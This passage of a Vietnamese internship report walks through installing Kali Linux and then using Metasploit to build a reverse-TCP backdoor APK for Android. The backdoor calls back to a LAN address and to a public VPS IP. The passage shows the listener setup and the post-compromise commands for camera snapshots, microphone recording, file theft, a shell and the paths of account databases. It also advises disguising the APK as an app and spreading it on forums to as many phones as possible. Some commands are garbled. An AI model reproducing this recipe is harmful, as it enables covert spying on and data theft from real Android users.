Hình 5.2: Tìm đường dẫn đến file iso Kali Linux.

Chọn Installer disc image file, nhấn Browse… tìm đường dẫn đến file iso
của Kali Linux sau đó nhấn Next để tiếp tục.

SVTH: Nguyễn Đức Thái Trang 33


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.3: Chọn dung lượng đĩa.

Thiết đặt dung lượng tối đa dùng để cài đặt Kali Linux sau đó chọn Next.

Hình 5.4: Xác nhận cài Đặt.

Chọn Finish để xác nhận tiến hành cài đặt.

SVTH: Nguyễn Đức Thái Trang 34


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.5: Cài đặt Kali Linux.

Tại đây ta chọn Graphical install => Enter để tiến hành cài đặt trực quan
bằng giao diện.

Hình 5.6: Chọn Ngôn Ngữ.

SVTH: Nguyễn Đức Thái Trang 35


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Tiến hành chọn lựa ngôn ngữ (ở đây chọn English), nhấn continue.

Hình 5.7: Chọn khu vực.

Lựa chọn khu vực ta chọn other => Continue.

Hình 5.8: Khu vực Asia.

Tiếp tục chọn khu vực là Asia => Continue.

SVTH: Nguyễn Đức Thái Trang 36


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.9: Chọn quốc gia Viet Nam.

Chọn quốc gia là Viet Nam => Continue.

Hình 5.10: Chọn bảng mã.

Chọn bảng mã là United States – en_US.UTF. Bảng mã này gồm đầy đủ


các ký tự Latinh đồng thời hỗ trợ Tiếng Việt. Nhấn Continue để tiếp tục.

SVTH: Nguyễn Đức Thái Trang 37


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.11: Chọn kiểu bàn phím.

Chọn kiểu bàn phím Ameican English => Continue.

Hình 5.12: Đặt Hostname.

Tiếp theo là thiết đặt mạng. Đặt tên Hostname là bắt buộc. Ta có thể đặt tên
bất kỳ nhưng không thể có khoảng trắng. Nhấn Continue để tiếp tục.

SVTH: Nguyễn Đức Thái Trang 38


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.13: Đặt Domain name.

Có thể bỏ trống Domain name => Continue.

Hình 5.14: Đặt root password.

Điền hai lần Root password giống nhau (nhớ password đã đặt để sau này
đăng nhập) => Continue.

SVTH: Nguyễn Đức Thái Trang 39


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.15: Tùy chọn ổ đĩa.

Tùy chọn ổ đĩa cài đặt. Ở đây ta chọn use entire disk -> continue.

Hình 5.16: Chọn ổ đĩa cài đặt.

Tiếp tục nhấn Continue.

SVTH: Nguyễn Đức Thái Trang 40


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.17: Phương thức cài đặt ổ đĩa.

Chọn All file in one partion => Continue.

Hình 5.18: Xác nhận thông số cài đặt.

Kiểm tra thiết đặt thông tin ổ đĩa. Nếu có sai sót chọn Go Back để sửa đổi.
Chọn Continue tiếp tục.

SVTH: Nguyễn Đức Thái Trang 41


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.19: Xác nhận định dạng ổ đĩa.

Chọn Yes để xác nhận thay đổi ổ đĩa => Continue để tiến trình bắt đầu copy
file và cài đặt Kali Linux.

Hình 5.20: Cài đặt bắt đầu.

SVTH: Nguyễn Đức Thái Trang 42


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.21: Tìm kiếm cập nhật qua internet.

Ở đây nếu chọn Yes tiến trình sẽ kiểm tra có hay không bản cập nhật qua
mạng. Ta chọn No để nhanh chóng cài đặt (có thể cập nhật sau khi cài đặt xong).

Hình 5.22: Xác nhận cài đặt GRUD.

Tiếp theo tiến trình sẽ hỏi có cài đặt và sử dụng GRUB để khởi động không.
Ta chọn Yes => Continue.

SVTH: Nguyễn Đức Thái Trang 43


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.23: Xác nhận cài đặt thành công.

Thông báo xác nhận Kali Linux Đã cài đặt xong. Ta chọn Continue tiến trình
sẽ thực hiện xoa một số file dư thừa sau khi cài đặt rồi khởi động lại.

Hình 5.24: Đăng nhập Kali Linux.

Sau khi khởi động xong ta nhập User là root va password được đặt ở trên để
đăng nhập. Như vậy là ta đã hoàn thành cài đặt xong Kali Linux.

SVTH: Nguyễn Đức Thái Trang 44


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

5.4. Tạo mã độc trên Kali Linux để xâm nhập Android.


Trước khi tiến hành ta nên thiết lập phần Network như sau:

Vào VM => Settings... ở thanh lựa chọn của Vmware

Hình 5.25: Tùy chọn Kali Linux.

Vào Network Adapter và chọn Bridged: connection directly to the


physical network

Hình 5.26: Kiểu kết nối mạng.

Vào Edit => Virtual Network Editor...

SVTH: Nguyễn Đức Thái Trang 45


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.27: Tùy chọn mạng.

Trên phần Bridge (connect VMs directly to the external network) chọn
adapter của máy thật

SVTH: Nguyễn Đức Thái Trang 46


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.28: chọn mạng vật lý để sử dụng.

Tiếp theo ta sẽ tiến hành xâm nhập và điều khiển Android bằng Kali Linux.
Đầu tiên ta cần tạo 1 file apk có chứa backdoor bằng cách:

Đầu tiên mở terminal và gõ dòng lệnh ifconfig để biêt thông tin ip của máy.

Hình 5.29: lệnh ifconfig.

Sử dụng lệnh:

msfpayload android/meterpreter/reverse_tcp lhost=192.168.240.132


lport=4444 R > /root/Desktop/App.apk

Với 192.168.240.132 là ip đã tìm được ở trên.

Hình 5.30: Tạo backdoor.

Lệnh trên sẽ tạo ra 1 file files.apk trên desktop của Kali, đây chính là một
Metasploit reverse tcp backdoor.

SVTH: Nguyễn Đức Thái Trang 47


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.31: file chứa backdoor.

Tiếp theo, gõ lệnh msfconsole

Hình 5.32: lệnh msfconsole.

Sau khi msfconsile load xong, ta tạo một handler để xử lí dữ liệu truyền về
bằng cách gõ lệnh sau:

use exploit/multi/handler

set payload /meterpreter/reverse_tcp

set lhost 192.168.240.132 – nhập địa chỉ IP giống với khi tạo payload ở trên.

set port 4444 – nhập port giống với port khi tạo payload ở trên.

exploit

Màn hình sẽ như sau, lúc này ta đang chờ một máy android mở backdoor.

SVTH: Nguyễn Đức Thái Trang 48


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.33: Mở cổng lắng nghe.

Đến đây, vấn đề của chúng ta là làm sao để phân tán file chứa backdoor
App.apk đến các máy Android. Ta có thể ngụy trang file App.apk thành một ứng
dụng, game va tiến hành chia sẻ trên forum. Ở đây thử với một máy Galaxy Nexus
One giả lập, tải về App.apk, cài đặt:

Hình 5.34: Cài đặt backdoor trên Android.

SVTH: Nguyễn Đức Thái Trang 49


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Khởi động ứng dụng vậy là ta đã kết nối thành công tới máy Android này, ở
msfconsole sẽ như sau:

Hình 5.35: Kết nối thành công đến máy Android.

Khai thác dữ liệu

Lệnh help: xuất ra danh sách toàn bộ các lệnh mà Kali Linux hỗ trợ.

Hình 5.36: Lệnh help.

Lệnh sysinfo: thông tin máy.

Hình 5.37: Lệnh sysinfo.

Lệnh ipconfig: xem thông tin card mạng.

SVTH: Nguyễn Đức Thái Trang 50


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.38: Lệnh ipconfig.

Nhóm lệnh sử dụng camara, mic:


Lệnh webcam_list: hiển thị danh sách camara.
Để chụp hình bằng camera, nhập webcam_snap –i <opt> với <opt> là id của
camera xem ở danh sách camera ở phần trước. Ví dụ như sau:

Hình 5.39: nhóm lệnh về camara.

File hình đã chụp từ camera của máy android là RbWBRryj.jpeg được lưu
ở /root của máy

Hình 5.40: File ảnh chụp bảng lệnh webcam_snap.

Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về
máy

SVTH: Nguyễn Đức Thái Trang 51


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.41: lệnh record_mic.

Ta được file ghi âm

Hình 5.42: File ghi âm bằng lệnh record_mic.

Nhóm lệnh sử lý file, thư mục:


Lệnh cd: di chuyển đến thư mục chỉ định.
Lệnh ls: hiển thị thông tin các file có trong thư mục.
Để vào sdcard, nhập lệnh: cd /sdcard và lệnh ls để xem danh sách file, thư
mục

Hình 5.43: Lệnh ls tại thư mục sdcard.

Lệnh dowload: tải file bất kỳ về máy.


Ví dụ ở đây, ta tải file App.apk trong thư mục sdcard.dùng lệnh download
App.apk

SVTH: Nguyễn Đức Thái Trang 52


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.44: Lệnh download.

Và file này sẽ được tải về thư mục root của máy Kali

Hình 5.45: File được download.

Lệnh shell: điều khiển trong môi trường terminal của máy Android.

Nhập lệnh shell để điều khiển máy trong môi trường terminal. Tại đây ta nhập
lệnh ls –l để xem các file và quyền hạn cần để sử dụng.

SVTH: Nguyễn Đức Thái Trang 53


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.4: Lệnh ls –l.

Như các bạn cũng thấy thư muc data cần quyền hạn cao nhất để tiến hành sử
dụng. Mà các dữ liệu quan trọng như Contacts, SMS, tài khoản đồng bộ Google…
đều được lưu tại đây. Vì thế ta chỉ có thể lấy cắp các thông tin này nếu như máy
Android bị xâm nhập đã được root (hack chiếm quyền điều khiển cao nhất).

Trong một số trường hợp, người dùng máy Android sử dụng một số chương
trình Backup and Retore tiến hành lưu trữ lại các thông tin quan trọng đến bộ nhơ
máy. Ta có thể lấy được các file này một cách dễ dàng.

5.5. Kết luận.


Như vậy, ta đã tìm hiểu về Kali Linux, các cải tiến của nó so với BackTrack.
Cách sử dụng Metasploit của Kali Linux để xâm nhập và điều khiển, truyền dữ
liệu từ máy Android về máy.

Sau khi thử nghiệm cách tấn công này, ta rút ra không nên tải về và chạy file
lạ trên máy android để bảo đảm không cài nhầm backdoor như đã thấy ở trên, tiến
hành bảo vệ máy với các chương trình Anti-virus, không tiến hành root may nếu
không thực sự cần thiết vì chỉ cần máy bị nhiễm backdoor là ta đã có thể xem như
có toàn quyền kiểm soát máy Android đó.

SVTH: Nguyễn Đức Thái Trang 54


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

CHƯƠNG 6: XÂM NHẬP VÀO ANDROID THÔNG QUA


INTERNET TỪ VPS.
Với phần tìm hiều trên ta đã thực hiện xâm nhập vào Android qua mạng LAN.
Phần này ta sẽ tiếp tục tìm hiểu cách xâm nhập vào Android qua mạng Internet với
VPS.

6.1. Cài đặt Metasploit trên VPS.


Đầu tiên, ta cần có một máy chủ ảo VPS và tiến hành kết nồi. Ở đây sử dụng
Romote Desktop Connection của Windows.

Hình 6.1: Kết nối VPS.

Nhập địa chỉ IP của VPS sau đó tiến hành đăng nhập.

SVTH: Nguyễn Đức Thái Trang 55


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 6.2: Đăng nhập VPS.

Tiếp theo, trên VPS ta cần download bộ cài đặt Metasploit tại địa chỉ sau:
http://www.metasploit.com/.

Hình 6.3: Download metasploit.

Chọn FREE METASPLOIT DOWNLOAD để tiêp tục.

Hình 6.4: Chọn phiên bản metasploit.

Tại đây có hai phiên bản có thể lựa chọn: bản Pro có được dùng thử 14 ngày
sau đó phải trả phí để tiếp tục sử dụng và bản Community miễn phí với một số
tính năng bị hạn chế. Ở đây mình chọn sử dụng bản Community để nghiên cứu.

SVTH: Nguyễn Đức Thái Trang 56


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 6.5: điền thông tin.

Tại đây điền đầy đủ thông tin trang web yêu cầu sau đó nhấn SUBMIT &
DOWNLOAD để tiến hành tải xuống.

Sau khi tải xong ta được file metasploit-latest-windows-installer.exe. mở


file này lên để tiến hành cài đặt.

Hình 6.6: Cài đặt metasploit.

Chọn Next để tiếp tục.

SVTH: Nguyễn Đức Thái Trang 57


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 6.7: Xác nhận điều khoản.

Chọn I accept the agreement để xác nhận điều khoản sử dụng sau đó chọn
Next.

Hình 6.8: Địa chỉ cài đặt.

Xác định đường dẫn cài đặt Metasploit rồi chọn Next.

SVTH: Nguyễn Đức Thái Trang 58


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 6.9: Tắt Anti-Virus và Firewall.

Chương trình nhắc nhở tắt các ứng dụng Anti-Virus và Firewall. Ta tiến hành
tắt các ứng dụng này đi sau đó chọn Next.

Hình 6.10: SSL Port.

Đặt SSL Port cho Metasploit service => Next.

SVTH: Nguyễn Đức Thái Trang 59


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 6.11: Server name.

Chọn Server Name và Day of Validity rồi chọn Next hai lần để bắt đầu cài
đặt. Sau khi tiến trình chạy xong ta chọn Finish để kết thúc.

Hình 6.12: Cài đặt thành công.

Như vậy ta đã cài đặt thành công Metasploit trên máy chủ ảo VPS.

6.2. Tấn công Android từ VPS.


Để tiến hành, ta khởi động Kali Linux để tạo một file .apk có chứa mã độc
nhằm phục vụ cho việc tấn công Android (chi tiết các bước thực hiện có thể tham
khảo ở trên). Trong Kali Linux khởi động Terminal tiến hành nhập lệnh:

SVTH: Nguyễn Đức Thái Trang 60


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Msfpayload android/meterpreter/reverse_tcp lhost=103.20.148.71


lport=4444 R> /root/Desktop/vps.apk

Trong đó lhost=103.20.148.71 là địa chỉ IP của VPS.

Hình 6.13: Tao backdoor.

Sau khi chạy xong ta được file vps.apk là file có chứa mã độc dùng để tấn
công Android. Ở đây việc cần làm là phát tán file này đến càng nhiều máy Android
càng tốt. Ta có thể thực hiện bằng cách ngụy trang thành các ứng dụng có ích và
chia sẻ trên các diễn đàn về điện thoại Android.

Tiếp theo tiến hành kết nối đến VPS và khởi động Metasploit Console tại
đường dẫn Start => Programs => Metasploit => Metasploit Console.

Hình 6.14: Metasploit console.

Tại của sổ dòng lệnh ta nhập:

Use exploit/multi.hander

Set payload android/meterpreter/reverse_tcp

SVTH: Nguyễn Đức Thái Trang 61


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Set lhost 103.20.148.71 – với lhost là địa chỉ IP của VPS đã nhập ở trên.

Set lport 4444 – tương tự lport ở trên.

Hình 6.15: thiết lập thông tin cho cổng lắng nghe.

Tiếp theo nhập lện run để mở cổng lắng nghe.

Hình 6.16: mở cổng lắng nghe.

Sau khi hoàn thành bước này, việc cần làm là chờ cho đến khi có máy một
Android nào đó có kết nối internet và cài đặt, khởi động file vps.apk ở trên. Khi
đó ta được như hình:

Hình 6.17: Kết nối thành công.

Như vậy ta đã thành công xâm nhập vào máy Android. Tại đây ta có thể tiến
hành điều khiển, đánh căp dữ liệu như đã trình bày trong phần sử dụng Kali Linux.

Mặc dù đã thành công xâm nhập vào Android nhưng một số trường hợp trong
quá trình khai thác dữ liệu sẽ báo lỗi do không đủ quyền hạn truy cập hệ thống.
Đây là cơ chế bảo mật của Android để bảo vệ những dữ liệu quan trọng. Trong
trường hợp này, việc khai thác dữ liệu sẽ gặp rất nhiều hạn chế hoặc thông thể thực
hiện với dữ liệu quan trọng.

SVTH: Nguyễn Đức Thái Trang 62


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Một trường hợp khác là sau khi xâm nhập thành công vào Android liền có
quyền hàn tối cao (system). Đây là do máy Android bị xâm nhập đã được người
sử dụng root (chiếm quyền điều khiển). Trường hợp này ta có thể tùy ý khai thác
máy Android.

Để kiểm tra máy Android đã root chưa ta vào điều khiển trong môi
trường shell và nhập lệnh :
su
whoami
Nếu báo unknown id is 0 tức là đã root
ls -l danh mục file và các quyền
cd để chuyển hướng thư mục
Để ăn cắp tài khoản, mật khẩu, file apk và thay đổi các quyền
/DATA
/DATA/APP
/DATA/SYSTEM
/DATA/SYSTEM/accounts.db
/DATA/SYSTEM/SYNC/accounts.xml
/SYSTEM/APP/
Để xem danh sách và download các file hay thay đổi các file trong ROM
Đầu tiên phải gõ lệnh SU để có toàn quyền truy cập
để có đường dẫn đầy đủ dùng lệnh chmod -R 777 path to filename
Ví dụ chmod -R 777 /data
Ctrl + C để quay lại
Sử dụng SQLite để mở file db

SVTH: Nguyễn Đức Thái Trang 63


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

CHƯƠNG 7: KẾT QUẢ ĐẠT ĐƯỢC.


Những kiến thức lý thuyết đã được củng cố:

 Tìm hiểu về lịch sử, quá trình phát triển của hệ điều hành
Android
 Tìm hiểu về hệ điều hành Kali Linux
 Tìm hiểu về các lỗ hổng bảo mật của Windows và Android
 Tìm hiểu về cách sửa đổi file APK và thực hiện Signing ứng dụng

Những kỹ năng thực hành đã được học thêm:

 Thực hiện cài đặt Android trên máy ảo


 Cài đặt Kali Linux, sử dụng nó để hack vào các lỗ hổng bảo mật
của Windows và Android
 Thi lấy chứng chỉ System Hacking của trung tâm Athena
 Thực hiện sửa đổi, tạo ra các file Trojan, Backdoor sau đó cài đặt
vào Android
 Biết thêm về một số bài học trong lớp Hacker mũ trắng

Những kinh nghiệm thực tiễn đã tích lũy được:

Qua gần 2 tháng thực tập, bản thân em đã đúc kết được nhiều kinh
nghiệm quý báu, thứ nhất đó là các kĩ năng về chuyên môn, em đã được học
và cũng cố các kiến thức mới bên cạnh các kiến thức nền tảng. Hơn đó nữa là
quá trình thực tập trong môi trường doanh nghiệp đã cho em làm quen dần
để không bỡ ngỡ trong quá trình đi làm sau này, thông qua các kĩ năng giao
tiếp và ứng xử.

SVTH: Nguyễn Đức Thái Trang 64


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

CHƯƠNG 8: TÀI LIỆU THAM KHẢO


[1] Đĩa lab Athena Android.

[2] http://www.vietnamandroid.com/

[3] http://vi.wikipedia.org/wiki/Android

[4] http://forum.genk.vn/threads/147/

[5] http://phienbanmoi.com/threads/lich-su-ra-doi-he-dieu-hanh-android-tai-lieu-
huong-dan-lap-trinh.107/

[6] http://sohoa.vnexpress.net/tin-tuc/doi-song-so/thi-truong/ios-bam-duoi-quyet-
liet-android-ve-thi-phan-di-dong-2960981.html

[7] http://forum.bkav.com.vn/showthread.php/99182-hieu-chinh-xac-ve-cac-loai-
ma-doc

[8] http://www.nguoiduatin.vn/mat-39-ty-dongngay-vi-ma-doc-a137388.html

SVTH: Nguyễn Đức Thái Trang 65

You might also like